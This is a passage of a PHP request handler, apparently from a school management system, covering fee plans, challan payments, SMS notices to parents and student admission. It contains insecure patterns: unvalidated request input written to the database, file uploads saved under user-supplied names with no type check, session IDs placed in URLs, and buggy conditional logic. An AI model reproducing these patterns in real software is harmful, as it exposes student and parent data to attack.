		header("location:../view_payroll.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&month=".$_REQUEST['month']);

}





if(($_REQUEST['action']=='DeleteTermMarkSheet'))

{
		 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";
				   

	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section']);	

	$records =  $m->delete('eduportal_exam_marksheet');	
	
	//	echo "<pre>"; print_r($data); echo "</pre>";				

		$_SESSION['addsuccess']=1;

		header("location:../reports.php?".session_id().session_id().session_id().session_id().session_id());

}



if(($_REQUEST['action']=='DeleteTempStdAtt'))

{
		 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";
				   

	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("student_id", $_REQUEST['std']);

	$records =  $m->delete('eduportal_attendance_temp');	
	
	//	echo "<pre>"; print_r($data); echo "</pre>";				

	$_SESSION['addsuccess']=1;

	header("location:../mark_attendance.php?".session_id().session_id().session_id().session_id().session_id());

}


if(($_REQUEST['action']=='CreateFeePLan'))

{





		$data = array(

			'class_id' => utf8_decode_all($_REQUEST['class_id']),

			'std_tution_fee' => utf8_decode_all($_REQUEST['tution_fee']),

			'std_transport_fee' => utf8_decode_all($_REQUEST['transport_fee']),

			'std_misc_fee' => utf8_decode_all($_REQUEST['std_misc_fee']),

			'branch_id' => utf8_decode_all($_SESSION['branch']),

			'session_id' => utf8_decode_all($_REQUEST['session_id']),

			'student_id' => utf8_decode_all($_REQUEST['student_id']),

			'std_outstanding_blc' => utf8_decode_all($_REQUEST['outstanding']),

			'discount_reason' => utf8_decode_all($_REQUEST['discount_reason'])

		);



		 $result = $m->insert('eduportal_student_fee_structure',$data);



	

      // generating new challan of month 

          $data = array(

          'month_id' => $_REQUEST['month_id'],

          'session_id' => $_REQUEST['session_id'],

          'classs_id' => $_REQUEST['class_id'],

          'challan_duedate' => $_REQUEST['duedate'],

          'tutionfee' => $_REQUEST['tution_fee'],

          'transportfee' => $_REQUEST['transport_fee'],

          'balance' => $_REQUEST['outstanding'],

          'branch_id' => $_SESSION['branch'],

          'student_id' => $_REQUEST['student_id'],

          'misc_fee' => $_REQUEST['std_misc_fee']

          );
//print_r($data);


          $result = $m->insert('eduportal_monthly_challan',$data);

          

          

          $challan_id= $m->getInsertId();



         // print_r($data); echo "<br> ===data of challan id = ".$challan_id."<br>";





         // now inserting the challan details with other fee parameters



           $fee_types = $m->get("eduportal_fee_types");

		

			foreach ($fee_types as $type) {



				$type_val=$_REQUEST['type'.$type['feetype_id']];



				if($type_val!=""){



		           $data = array(

			          'challan_id' => $challan_id,

			          'feetype_id' =>$type['feetype_id'],

			          'fee_amount' => $type_val,

			          'session_id' => $_REQUEST['session_id'],

			          'branch_id' => $_SESSION['branch'],

			          'class_id' => $_REQUEST['class_id'],

			          'month_id' => $_REQUEST['month_id'],

			          'student_id' => $_REQUEST['student_id']

			          );

		          

		           $result = $m->insert('eduportal_monthly_challan_details',$data);



		           //print_r($data); echo "<br><br>";

		    

				} // ending if



			 } // ending foreach loop

		

			

		$_SESSION['AddStudent_Step']=3;



		$_SESSION['Student_Added']=1;



  	header("location:../fee_plan.php?".session_id().session_id().session_id().session_id().session_id()."&successmsg=1&student=".$_REQUEST['student_id']."&month=".$_REQUEST['month_id']);





}



// ending the function of create fee plan 









if(($_REQUEST['action']=='PayChallan'))

{





	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	$collected_amount=intVal($_REQUEST['collected']-$_REQUEST['fine']);



	$data = array(

	'collected_amount' => $collected_amount-intVal($others_fee),

	'collected_fine' => $_REQUEST['fine'],

	'disc_amount' => $_REQUEST['disc_amount'],

	'paid_status' => 1,

	'paying_time' => date("h:i:s a"),

	'paid_fee_user_id' => $_SESSION['user_id'],

	'paid_by' => $_REQUEST['PiadBy'],

	'remaining_amount' => $_REQUEST['totalAmount']-$_REQUEST['collected'],

	'paying_date'=>date('Y-m-d', strtotime($_REQUEST['paid_date']))

	);



	//print_r($data);



	$m->where ("challan_id", $_REQUEST['challan_id']);

	$m->update('eduportal_monthly_challan',$data);



	   $collected=$collected_amount+intVal($others_fee);

	   $totalAmount=$_REQUEST['totalAmount'];

	   $std_name=$_REQUEST['std_name'];

	   $number=$_REQUEST['std_no'];

	 

	   $month=$_REQUEST['month_name'];

	   $balanc=$totalAmount-$_REQUEST['collected'];

	   $total_sms_monthly_used=getCurrentMonthFeeSms($m)+getCurrentMonthResultSms($m)+getCurrentMonthOtherSms($m)+getCurrentMonthAttendanceSms($m)+0;
					$sms_credit=$brid[0]['monthly_credit']-$total_sms_monthly_used;

		// now sending fee confirmation msg to parents if the sms status is YES
if ($_REQUEST['sendmessage']=='Yes') { 
	

		if($_REQUEST['fee_recv_sms']=="1" || $_REQUEST['fee_recv_sms']==1 && $totalAmount>0 && $sms_credit <= 0){



		    

		    $message ="Dear Parents, 

		".$std_name." has submitted the fee of (".$_REQUEST['month_name'].")  

		Total:".$totalAmount." 

		Paid:".$_REQUEST['collected']." 

		Balance:".$balanc." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

		}


			// now sending fee confirmation msg to Principle if the sms status is YES

		if($_REQUEST['double_confirmation']=="1" || $_REQUEST['double_confirmation']==1 && $totalAmount>0){


		    $message ="Dear Sir, 

		".$std_name." has submitted the fee of (".date("M").")  

		Total:".$totalAmount." 

		Paid:".$collected."

		Balance:".$balanc."  

		From:".$_SESSION['branch_name'];



		//echo "<br>".$message;

		 $result=sendSMSFuction($number,$message,$_SESSION['brand']);


	    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

	    $result =  $m->insert ('edu_messages_details', $data);

		 
		}

}
		 // now adding user audit detail


	$username=$_SESSION['username'];


	$action="Partialy Fee Paid";
		$details="Paid Fee (".$std_name.") Amount ".$_REQUEST['collected']." and Paid Date: ".date('d-m-Y', strtotime($_REQUEST['paid_date']))." Month = ".$month;

		date_default_timezone_set("Asia/Karachi");

	$data = array(

	'user_id' => $_SESSION['user_id'],

	'module_id' => 14,

	'action' => $action,

	'details' => $details,

	'date' => date("Y-m-d"),

	'month_id' => date('m'),

	'time' => date("h:i:sa"),

	'branch_id' => $_SESSION['branch'],

	);



	//print_r($data);



	$result = $m->insert('eduportal_users_auditlog_detail',$data);





	if($_REQUEST['call']=="profile"){



	$_SESSION['upsuccess']=1;

	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);


	} else {


	$_SESSION['upsuccess']=1;
	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);
		

	}



}







if(($_REQUEST['action']=='AgainAmountPayChallan'))

{


	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";

	$m->where("challan_id", $_REQUEST['challan_id']);

	$RemaingingAmount = $m->get("eduportal_monthly_challan");


	$data = array(	

	'paid_again_user_id' => $_SESSION['user_id'],

	'paid_again_amount' => $_REQUEST['again_paid'],

	'remaining_amount' => $_REQUEST['total_amount']-$RemaingingAmount[0]['collected_amount']-$_REQUEST['again_paid'],

	'paid_again_time' => date("h:i:s a"),

	'paid_again_date'=>date('Y-m-d', strtotime($_REQUEST['again_paid_date']))

	);
	//print_r($data);

	$m->where ("challan_id", $_REQUEST['challan_id']);

	$m->update('eduportal_monthly_challan',$data);



	   $collected=$collected_amount+intVal($others_fee);

	  // $totalAmount=$_REQUEST['totalAmount'];

	   $std_name=$_REQUEST['std_name'];

	   $number=$_REQUEST['std_no'];	 

	   $month=$_REQUEST['month_name'];

	  // $balanc=$totalAmount-$_REQUEST['collected'];

	   $total_sms_monthly_used=getCurrentMonthFeeSms($m)+getCurrentMonthResultSms($m)+getCurrentMonthOtherSms($m)+getCurrentMonthAttendanceSms($m)+0;
	   $sms_credit=$brid[0]['monthly_credit']-$total_sms_monthly_used;

		// now sending fee confirmation msg to parents if the sms status is YES

		if($_REQUEST['fee_recv_sms']=="1" || $_REQUEST['fee_recv_sms']==1 && $totalAmount>0 && $sms_credit <= 0){
		    

		  $message ="Dear Parents, 

		".$std_name." has submitted the fee of (".$_REQUEST['month_name'].")  		 

		Paid:".$_REQUEST['again_paid']." 		 

		From:".$_SESSION['branch_name'];

			//echo "<br>".$message;

		   sendSMSFuction($number,$message,$_SESSION['brand']);

		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);		 	

		}


		// now adding user audit detail


					$username=$_SESSION['username'];


					$action="Again Fee Paid";
	  				
	  				$details="Paid Fee (".$std_name.") Amount ".$_REQUEST['again_paid']." and Paid Date: ".date('d-m-Y', strtotime($_REQUEST['again_paid_date']))." Month = ".$month;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);
			


	if($_REQUEST['call']=="profile"){



	$_SESSION['upsuccess']=1;

	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);


	} else {


	$_SESSION['upsuccess']=1;
	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);
		

	}



}





if(($_REQUEST['action']=='ResendResult'))

{



	// now sending result sms individually

	

	  $std_name=$_REQUEST['student_name'];

      $number=$_REQUEST['cell_no'];

      $grade=$_REQUEST['grade'];

      $tmarks=$_REQUEST['tmarks'];

      $obt=$_REQUEST['obt'];

      $term=$_REQUEST['term_title'];

    

    

 

  $message ="Dear Parents, 

Result of ".$std_name." 



(".$term.") 

Total Marks:".$tmarks." 

Obtained Marks:".$obt." 

Grade:".$grade." 

From:".$_SESSION['branch_name'];



	

 $result=sendSMSFuction($number,$message,$_SESSION['brand']);



   // print_r($response);



    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'result_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

   // print_r($data);

    







	$data = array(

		'sms_status' => 1);



		$m->where ("session_id", $_REQUEST['session']);

		$m->where ("class_id", $_REQUEST['class_id']);

		$m->where ("section_id", $_REQUEST['section']);

		$m->where ("term_id", $_REQUEST['term_id']);

		$m->where ("student_id", $_REQUEST['student']);

		$result = $m->update('eduportal_exam_marksheet',$data);





	$_SESSION['upsuccess']=1;





  $url="../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."#std_section";



   echo "<script>window.location="."'$url'"."</script>";



}






if(($_REQUEST['action']=='DeleteStudent'))

{



	if($_REQUEST['eid']!='')

	{

		

		$data = array(

	'status' => '1',

	'deleted_date' => date('h:i A', time()));



	    $m->where("student_id", utf8_decode_all($_REQUEST['eid']));

     	$result = $m->update('edu_student_details',$data);

		$_SESSION['delete']=1;

		header("location:../bulk_stdns.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../manage_students.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}  // main 




if(($_REQUEST['action']=='AgainPayChallan'))

{





	//echo "<pre>"; print_r($_REQUEST); echo "</pre>";



	//$collected_amount=intVal($_REQUEST['collected']-$_REQUEST['fine']);



	$data = array(

	'month_id' => $_REQUEST['month_id'],

	'branch_id' => $_SESSION['branch'],

	'session_id' => $_REQUEST['session'],

	'student_id' => $_REQUEST['student'],

	'challan_id' => $_REQUEST['challan_id'],

	'paid_amount' => $_REQUEST['again_paid'],

	'paid_date'=>date('d-m-Y', strtotime($_REQUEST['again_paid_date']))

	);



	//print_r($data);



	//$m->where ("challan_id", $_REQUEST['challan_id']);

	$m->insert('eduportal_again_paid_challan',$data);






/*
	   $collected=$collected_amount+intVal($others_fee);

	   $totalAmount=$_REQUEST['totalAmount'];

	   $std_name=$_REQUEST['std_name'];

	   $number=$_REQUEST['std_no'];

	 

	   $month=$_REQUEST['month_name'];

	   $balanc=$totalAmount-$_REQUEST['collected'];

	   





		// now sending fee confirmation msg to parents if the sms status is YES

		if($_REQUEST['fee_recv_sms']=="1" || $_REQUEST['fee_recv_sms']==1 && $totalAmount>0){



		    

		    $message ="Dear Parents, 

		".$std_name." has submitted the fee of (".$_REQUEST['month_name'].")  

		Total:".$totalAmount." 

		Paid:".$_REQUEST['collected']." 

		Balance:".$balanc." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

		}











				// now sending fee confirmation msg to Principle if the sms status is YES

		if($_REQUEST['double_confirmation']=="1" || $_REQUEST['double_confirmation']==1 && $totalAmount>0){





		    $message ="Dear Sir, 

		".$std_name." has submitted the fee of (".date("M").")  

		Total:".$totalAmount." 

		Paid:".$collected."

		Balance:".$balanc."  

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;

			 $result=sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'fee_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

		}*/









	if($_REQUEST['call']=="profile"){

	

	

	$_SESSION['upsuccess']=1;

	

	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);

		



	} else {





	$_SESSION['upsuccess']=1;



	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);

	

			

	}



}




if(($_POST['action']=='AddBulkStudents'))

{





	if($_POST['class_id']!='')

	{

		

	  //  echo "<pre>"; print_r($_POST); echo "</pre>";



		for($i=0;$i<count($_POST['fname']);$i++){

			

			$ref=$_POST['ref'][$i];

			$fname=$_POST['fname'][$i];

			$lname=$_POST['lname'][$i];

			$cell=$_POST['cell'][$i];

			$familycode=$_POST['familycode'][$i];

			$medium=$_POST['medium'][$i];

			$Locality=$_POST['Locality'][$i];

			$class_id=$_POST['class_id'];

			$section=$_POST['section'];

			$branch=$_SESSION['branch'];

			$session=$_POST['session'];

			$session1=$_POST['session'];





	if($_POST['class_id']!=NULL && $_POST['section'] !=NULL && $fname!=NULL ){

	
		// code for duplication check at server side 

		$name = trim($fname);

		$cell = trim($cell);

		$m->where("first_name",$name);		

		$m->where("cell_no",$cell);		

		$m->where("branch_id",$_SESSION['branch']);	

		$m->where("status","0");

		$record = $m->get("edu_student_details");

		if(count($record)>0){

			continue;
			
		}

		else {

		

			$m->where("session_id", $session);

			$ss11=$m->get("edu_session_config");

			$session=$ss11[0]['session_year']-2000;

		// coding to generate auto roll number

		    $ss="-".$session."-";

		$sql = "SELECT MAX(CAST(SUBSTR(candidate_roll_no,4,LENGTH(candidate_roll_no)) AS UNSIGNED)) AS prev_roll

		FROM edu_student_details as std WHERE std.branch_id =  '$branch' AND std.status='0'

		";	

			

			$numb;

			

			$evt =$m->query($sql);
			

			$prev= $evt[0]['prev_roll'];

				if($prev!=NULL){		

						$numb=$prev+1;				

				} else{$numb+=1;}

				$roll=str_pad($numb,3,'0',STR_PAD_LEFT);

		
				$newRoll=$session."-".$roll;



				if ($newRoll!=NULL){		

					$roll= $newRoll;

				}

				else{

					

					$roll= "--";

					

					} // closing code for generating roll number

	  				$data = array(

					'ref_no' => $ref,

					'first_name' => $fname,

					'last_name' => $lname,

					'cell_no' => $cell,

					'medium' => $medium,

					'family_code' => $familycode,

					'locality' => $Locality,

					'class_id' => $class_id,

					'class_admited' => $class_id,

					'section_id' => $section,

					'session_id' => $session1,

					'candidate_roll_no' => $roll,

					'branch_id' => $_SESSION['branch'],

					);

	  				//print_r($data);



					$result = $m->insert('edu_student_details',$data);

	  				$id=$m->getInsertId();

				// this is the script for sending welcome msg to student

				$m->where("branch_id", $branch);

				$branch=$m->get("edu_branch_config");



				if($branch[0]['stds_welcome_msg']=="1" || $branch[0]['stds_welcome_msg']==1 ){

				

					$msg="Dear ".$fname.", It is our pleasure to welcome you at ".$_SESSION['branch_name'].". Thank you for choosing us!";

					

					$result=sendSMSFuction($cell,$msg,$_SESSION['brand']);

					//print_r($result);

					 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cell,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    				$result =  $m->insert ('edu_messages_details', $data);						

				}





	  				//echo $qr;



	  				// now adding fee details



	  				$data = array(

					'class_id' => $class_id,

					'std_tution_fee' => $_POST['tutionfee'][$i],

					'branch_id' => $_SESSION['branch'],

					'std_outstanding_blc' => $_POST['balance'][$i],

					'session_id' => $session1,

					'student_id' => $id,

					);



					//print_r($data);



					$result = $m->insert('eduportal_student_fee_structure',$data);

				

					// now adding user audit detail



	  			/*	$m->where("section_id", $section);

					$sec = $m->get("edu_adm_section_detail");



					$m->where("class_id", $class_id);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$section_name=$sec[0]['section_name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Add Bulk Students , Class=".$Class_Name.", Section=".$section_name ;



	  				date_default_timezone_set("Asia/Karachi");

					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);

				*/

					$_SESSION['success']=1;	



			 } // closing else



		

		}	// closing if condition

	





		}  // closing loop





		

		header("location:../bulk_stdns.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&section=".$_POST['section']."&session=".$_POST['session']."&dayno=".$_POST['dayno']."&adm=".$_POST['adm']."&stdName=".$_POST['stdName']."&fName=".$_POST['fName']."&cellno=".$_POST['cellno']."&fee=".$_POST['fee']."&balance=".$_POST['balance1']."&medium=".$_POST['medium1']."&dob=".$_POST['dob']."&locality=".$_POST['locality']."&gender=".$_POST['gender']."&familycode=".$_POST['familycode']);

	

	}



	else

	{

		header("location:../bulk_stdns.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}  // main 





if(($_POST['action']=='dataentry'))

{
			

	  //  echo "<pre>"; print_r($_POST); echo "</pre>";

		for($i=0;$i<count($_POST['first_name']);$i++){



			$m->where("session_id", $_SESSION['current_session']);

			$ss11=$m->get("edu_session_config");

			$session=$ss11[0]['session_year']-2000;

		// coding to generate auto roll number

		    $ss="-".$session."-";

		$sql = "SELECT MAX(CAST(SUBSTR(candidate_roll_no,4,LENGTH(candidate_roll_no)) AS UNSIGNED)) AS prev_roll

		FROM edu_student_details as std WHERE std.branch_id =  '$branch' AND std.status='0'

		";	

			

			$numb;

			

			$evt =$m->query($sql);
			

			$prev= $evt[0]['prev_roll'];

				if($prev!=NULL){		

						$numb=$prev+1;				

				} else{$numb+=1;}

				$roll=str_pad($numb,3,'0',STR_PAD_LEFT);

		
				$newRoll=$session."-".$roll;



				if ($newRoll!=NULL){		

					$roll= $newRoll;

				}

				else{

					

					$roll= "--";

					

					}  // closing code for generating roll number
			

				
	  				$data = array(

					'date_of_adms' => $_POST['date_of_adms'][$i],

					'ref_no' => $_POST['ref_no'][$i],

					'first_name' => $_POST['first_name'][$i],

					'dob' => $_POST['dob'][$i],

					'last_name' => $_POST['last_name'][$i],

					'cast' => $_POST['cast'][$i],

					'address' => $_POST['address'][$i],

					'class_admited' => $_POST['class_id'][$i],

					'class_id' => $_POST['class_withdrawn'][$i],

					'expel_date' => $_POST['expel_date'][$i],

					'expel_reason' => $_POST['expel_reason'][$i],

					'candidate_roll_no' => utf8_decode_all($roll),

					'status' => '0',
					
					'branch_id' => $_SESSION['branch'],

					'session_id' => $_SESSION['current_session']

					);

	  			//	print_r($data);

					$result = $m->insert('edu_student_details',$data);							
	    $_SESSION['success']=1;
		header("location:../data_entry.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

}


}  // main 







// inserting single student


if(($_REQUEST['action']=='AddStudent'))

{



	//print_r($_REQUEST);



	if($_REQUEST['class']!='')

	{
	

			$fname=$_REQUEST['fname'];

			$lname=$_REQUEST['lname'];

			$religion=$_REQUEST['religion'];

			$gender=$_REQUEST['gender'];

			$gname=$_REQUEST['gname'];

			$cnic=$_REQUEST['cnic'];

			$dob=$_REQUEST['dob'];

			$cellno=$_REQUEST['cellno'];

			$Gcellno=$_REQUEST['Gcellno'];

			$postal=$_REQUEST['postal'];

			$email=$_REQUEST['email'];

			$section=$_REQUEST['section'];

			$session1=$_REQUEST['session'];

			$class_id=$_REQUEST['class'];

			$country=$_REQUEST['country'];

			$state=$_REQUEST['state'];

			$city=$_REQUEST['city'];

			$address=$_REQUEST['address'];

			$branch=$_SESSION['branch'];

			$date_of_adms=$_REQUEST['date_of_adms'];

			$formBNo=$_REQUEST['formBNo'];

			$optionalSub=$_REQUEST['optionalSub'];

			$selection=$_REQUEST['selection'];

			$sibling=$_REQUEST['sibling'];

			$Fqualification=$_REQUEST['Fqualification'];

			$Foccupation=$_REQUEST['father_occupation'];

			//$Fincome=$_REQUEST['Fincome'];

			$Gqualification=$_REQUEST['Gqualification'];

			$Goccupation=$_REQUEST['Goccupation'];

			$Gincome=$_REQUEST['Gincome'];

			$Gcnic=$_REQUEST['Gcnic'];

			$Gaddress=$_REQUEST['Gaddress'];

			$urdu_name=$_REQUEST['urdu_name'];

			$medium=$_REQUEST['medium'];

			//$admission_option=$_REQUEST['admission_option'];

			$chronical_disease=$_REQUEST['chronical_disease'];

			$doctor_name=$_REQUEST['doctor_name'];

			$doctor_cell=$_REQUEST['doctor_cell'];

			$whatsapp_number=$_REQUEST['whatsapp_number'];

			$family_code=$_REQUEST['family_code'];

			//$grand_paa=$_REQUEST['grand_paa'];

			$father_designation=$_REQUEST['father_designation'];

	

	// code for duplication check at server side 

	

		/*$name = trim($fname);

		$cell = trim($cellno);*/

		$m->where("first_name",$_REQUEST['fname']);		

		$m->where("cell_no",$_REQUEST['cellno']);		

		$m->where("branch_id",$_SESSION['branch']);	

		$m->where("status","0");		

		$record = $m->get("edu_student_details");


//echo count($record);
	

		if(count($record)>0){

	

		$_SESSION['error_msg']=1;	

     	header("location:../add_student.php?".session_id().session_id().session_id().session_id().session_id());

				

		}

		else {



			$m->where("session_id", $session1);

			$ss11=$m->get("edu_session_config");

			$session=$ss11[0]['session_year']-2000;

				



		// coding to generate auto roll number

	    $ss="-".$session."-";



			$sql = "SELECT MAX(CAST(SUBSTR(candidate_roll_no,4,LENGTH(candidate_roll_no)) AS UNSIGNED)) AS prev_roll

		FROM edu_student_details as std WHERE std.branch_id =  '$branch' AND std.status='0'

		";	

		

		$numb;

		

		$evt =$m->query($sql);



		

		$prev= $evt[0]['prev_roll'];





			if($prev!=NULL){

				

					

					$numb=$prev+1;		

				

			} else{$numb+=1;}





			$roll=str_pad($numb,3,'0',STR_PAD_LEFT);

			

			$newRoll=$session."-".$roll;



			if ($newRoll!=NULL){		

			$roll= $newRoll;

			}

			else{

				

			$roll= "--";

				

				}





  // closing code for generating roll number

	  if($_FILES['img_file']['name']!=""){



			$target_path = "../students_pics/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}





  			



				$data = array(

				'ref_no' => utf8_decode_all($_REQUEST['ref_no']),

				'first_name' => utf8_decode_all($fname),

				'last_name' => utf8_decode_all($lname),

				'cell_no' => utf8_decode_all($cellno),

				'gardian_no' => utf8_decode_all($Gcellno),

				'email' => utf8_decode_all($email),

				'gender' => utf8_decode_all($gender),

				'gardian_name' => utf8_decode_all($gname),

				'cnic' => utf8_decode_all($cnic),

				'p_code' => utf8_decode_all($postal),

				'religion' => utf8_decode_all($religion),

				'image' => utf8_decode_all($img_src),

				'branch_id' => utf8_decode_all($branch),

				'class_id' => utf8_decode_all($class_id),

				'class_admited' => utf8_decode_all($class_id),

				'candidate_roll_no' => utf8_decode_all($roll),

				'dob' => utf8_decode_all($dob),

				'section_id' => utf8_decode_all($section),

				'session_id' => utf8_decode_all($session1),

				'address' => utf8_decode_all($address),

				'State_Id' => utf8_decode_all($state),

				'City_Id' => utf8_decode_all($city),

				'date_of_adms' => utf8_decode_all($date_of_adms),

				'formBNo' => utf8_decode_all($formBNo),

				'optional_subject' => utf8_decode_all($optionalSub),

				'selection' => utf8_decode_all($selection),

				'sibling' => utf8_decode_all($sibling),

				'father_qualification' => utf8_decode_all($Fqualification),

				'father_occupation' => utf8_decode_all($Foccupation),

				//'father_income' => utf8_decode_all($Fincome),

				'gardian_qualification' => utf8_decode_all($Gqualification),

				'gardian_occupation' => utf8_decode_all($Goccupation),

				'gardian_income' => utf8_decode_all($Gincome),

				'gardian_cnic' => utf8_decode_all($Gcnic),

				'gardian_address' => utf8_decode_all($Gaddress),

				'urdu_name' => utf8_decode_all($urdu_name),

				'medium' => utf8_decode_all($medium),

				//'admission_option' => utf8_decode_all($admission_option),

				'chronical_disease' => utf8_decode_all($chronical_disease),

				'doctor_name' => utf8_decode_all($doctor_name),

				'doctor_cell' => utf8_decode_all($doctor_cell),

				'whatsapp_number' => utf8_decode_all($whatsapp_number),

				'family_code' => utf8_decode_all($family_code),

			//	'grand_paa' => utf8_decode_all($grand_paa),

				'father_designation' => utf8_decode_all($father_designation),

				'old_class' => utf8_decode_all($_REQUEST['old_class']),

				'old_school' => utf8_decode_all($_REQUEST['old_school']),

				'old_tmarks' => utf8_decode_all($_REQUEST['old_tmarks']),

				'old_obtmarks' => utf8_decode_all($_REQUEST['old_obtmarks']),

				'father_Bnumber' => utf8_decode_all($_REQUEST['father_Bnumber']),

				'home_number' => utf8_decode_all($_REQUEST['home_number']),

				'Fbusiness_address' => utf8_decode_all($_REQUEST['Fbusiness_address']),

				'mother_name' => utf8_decode_all($_REQUEST['mother_name']),

				'mother_qualification' => utf8_decode_all($_REQUEST['mother_qualification']),

				'mother_activity' => utf8_decode_all($_REQUEST['mother_activity']),

				'mother_designation' => utf8_decode_all($_REQUEST['mother_designation']),

				'mother_Bnumber' => utf8_decode_all($_REQUEST['mother_Bnumber']),

				'mother_cell' => utf8_decode_all($_REQUEST['mother_cell']),

	     		//'mother_Baddress' => utf8_decode_all($_REQUEST['mother_Baddress']),

				'gardian_designation' => utf8_decode_all($_REQUEST['gardian_designation']),

				'gardian_Bnumber' => utf8_decode_all($_REQUEST['gardian_Bnumber']),

				'gardian_email' => utf8_decode_all($_REQUEST['gardian_email']),

				'school_leaving' => utf8_decode_all($_REQUEST['school_leaving']),

				'father_cellno' => utf8_decode_all($_REQUEST['father_cellno']),

				'cast' => utf8_decode_all($_REQUEST['cast'])

				);

				//print_r($data);



				if($fname!=NULL){



					 $result = $m->insert('edu_student_details',$data);

					 $student=$user= $m->getInsertId();



							

					// this is the script for sending welcome msg to student

					$m->where("branch_id", $branch);

					$branch=$m->get("edu_branch_config");

					$total_sms_monthly_used=getCurrentMonthFeeSms($m)+getCurrentMonthResultSms($m)+getCurrentMonthOtherSms($m)+getCurrentMonthAttendanceSms($m)+0;
					$sms_credit=$brid[0]['monthly_credit']-$total_sms_monthly_used;

					if($branch[0]['stds_welcome_msg']=="1" || $branch[0]['stds_welcome_msg']==1 and $sms_credit > 0 and $branch[0]['sms_service']=="0" ){

					

						$msg="Dear ".$fname.", It is our pleasure to welcome you at ".$_SESSION['branch_name'].". Thank you for choosing us!";

						$result=sendSMSFuction($cellno,$msg,$_SESSION['brand']);

						//print_r($msg);



						 $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $cellno,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

	    				$result =  $m->insert ('edu_messages_details', $data);						

					}





			}// ending if



				
		} // closing else
		
		if (count($record)>0) {
			$_SESSION['error_msg']=1;

		header("location:../add_student.php?".session_id().session_id().session_id().session_id().session_id());
		} else

	{
		$_SESSION['AddStudent_Step']=2;
		header("location:../fee_plan.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$student."#section_bg".session_id().session_id().session_id());

	}

		
}


}  // main 









if($_REQUEST['action']=='DeleteVoucher')

{

//print_r($_REQUEST);


